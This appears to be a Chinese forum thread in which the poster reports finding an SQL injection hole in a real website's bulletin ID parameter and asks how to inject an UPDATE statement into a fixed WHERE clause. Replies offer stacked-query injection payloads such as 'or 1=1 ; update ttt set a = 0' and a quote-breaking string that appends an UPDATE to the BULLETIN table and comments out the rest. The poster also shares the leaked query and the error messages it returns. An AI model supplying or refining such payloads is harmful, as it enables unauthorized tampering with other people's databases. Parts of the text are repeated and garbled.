update可不可以出现在select 的where 条件中出发点很简单。发现了网站的一个漏洞。
select *
form ttt
where a='xxxx'
现在可以像xxxx传递sql语句。
我试过直接用 where a='xxxx' and (update ……) 好像语法不对?
不知还有什么方法没?
select *
form ttt
where a='xxxx'
现在可以像xxxx传递sql语句。
我试过直接用 where a='xxxx' and (update ……) 好像语法不对?
不知还有什么方法没?
http://blog.csdn.net/downmoon/archive/2006/09/28/1301932.aspx
update table set col1= ttt.col1 ,col2=ttt.col2 ... from ttt where ttt.a='XXX' ...
UPDATE ttt
SET ....
where a='xxxx'
form ttt
where a='xxxx'select *
form ttt
where a='xxx' or 1=1 ; update ttt set a = 0
前面的select ……我都不能改,只能在一个where的条件中做手脚……
( SELECT * from BULLETIN
where BULLETIN.ID='b3c8995e'
order by BULLETIN.RECOMMENDLEVEL desc,BULLETIN.PUBLISHED desc ) temp where ROWNUM <= 10 ) WHERE num > 0];
这是暴出来的sql代码,在ID那里存在注入。
DECLARE @sql VARCHAR(8000)
set @sql='
SELECT count(*) FROM
( SELECT * from BULLETIN
where BULLETIN.ID=''b3c8995e'') t; update BULLETIN set ID=... WHERE ...'
--order by BULLETIN.RECOMMENDLEVEL desc,BULLETIN.PUBLISHED desc ) temp where ROWNUM <= 10 ) WHERE num > 0];'
报的错误是org.springframework.jdbc.BadSqlGrammarException: PreparedStatementCallback; bad SQL grammar因此应该没有'……'--……'这样的问题。